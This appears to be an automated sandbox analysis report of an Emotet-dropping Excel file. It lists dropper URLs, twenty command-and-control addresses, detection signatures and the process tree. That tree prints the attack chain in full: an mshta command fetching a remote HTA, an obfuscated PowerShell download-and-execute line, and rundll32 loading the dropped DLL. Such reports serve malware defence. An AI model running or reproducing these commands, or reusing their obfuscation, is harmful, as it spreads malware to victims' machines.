Analysis

  • max time kernel
    148s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    27/01/2022, 16:07

General

  • Target
    imedpub.xls
  • Size 154KB
  • Sample220127-tkm4nsfddq
  • SHA256 48a177e008cdc6cabc24550d92b187e578a4cae3294868bb333f51fde416c99a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\imedpub.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2040
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1124
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:916
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1064
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vbbwnabmnwp\wekgwnpq.xhk",cMrUm
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1348
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vbbwnabmnwp\wekgwnpq.xhk",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1028

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/812-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/812-53-0x000000002F521000-0x000000002F524000-memory.dmp

        memory/812-56-0x0000000075F21000-0x0000000075F23000-memory.dmp

        memory/812-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/812-54-0x0000000071121000-0x0000000071123000-memory.dmp

        memory/916-68-0x0000000000290000-0x00000000002B5000-memory.dmp

        memory/1028-97-0x0000000000A30000-0x0000000000A55000-memory.dmp

        memory/1028-101-0x00000000023F0000-0x0000000002415000-memory.dmp

        memory/1028-111-0x0000000002AA0000-0x0000000002AC5000-memory.dmp

        memory/1028-109-0x00000000028B0000-0x00000000028D5000-memory.dmp

        memory/1028-107-0x0000000002790000-0x00000000027B5000-memory.dmp

        memory/1028-105-0x00000000026E0000-0x0000000002705000-memory.dmp

        memory/1028-92-0x0000000000300000-0x0000000000325000-memory.dmp

        memory/1028-94-0x0000000000380000-0x00000000003A5000-memory.dmp

        memory/1028-103-0x0000000002600000-0x0000000002625000-memory.dmp

        memory/1064-75-0x00000000002D0000-0x00000000002F5000-memory.dmp

        memory/1064-79-0x00000000008E0000-0x0000000000905000-memory.dmp

        memory/1064-96-0x00000000027D0000-0x00000000027F5000-memory.dmp

        memory/1064-85-0x00000000026C0000-0x00000000026E5000-memory.dmp

        memory/1064-83-0x0000000002470000-0x0000000002495000-memory.dmp

        memory/1064-81-0x0000000000A60000-0x0000000000A85000-memory.dmp

        memory/1348-89-0x0000000000280000-0x00000000002A5000-memory.dmp

        memory/2040-61-0x00000000024D0000-0x000000000311A000-memory.dmp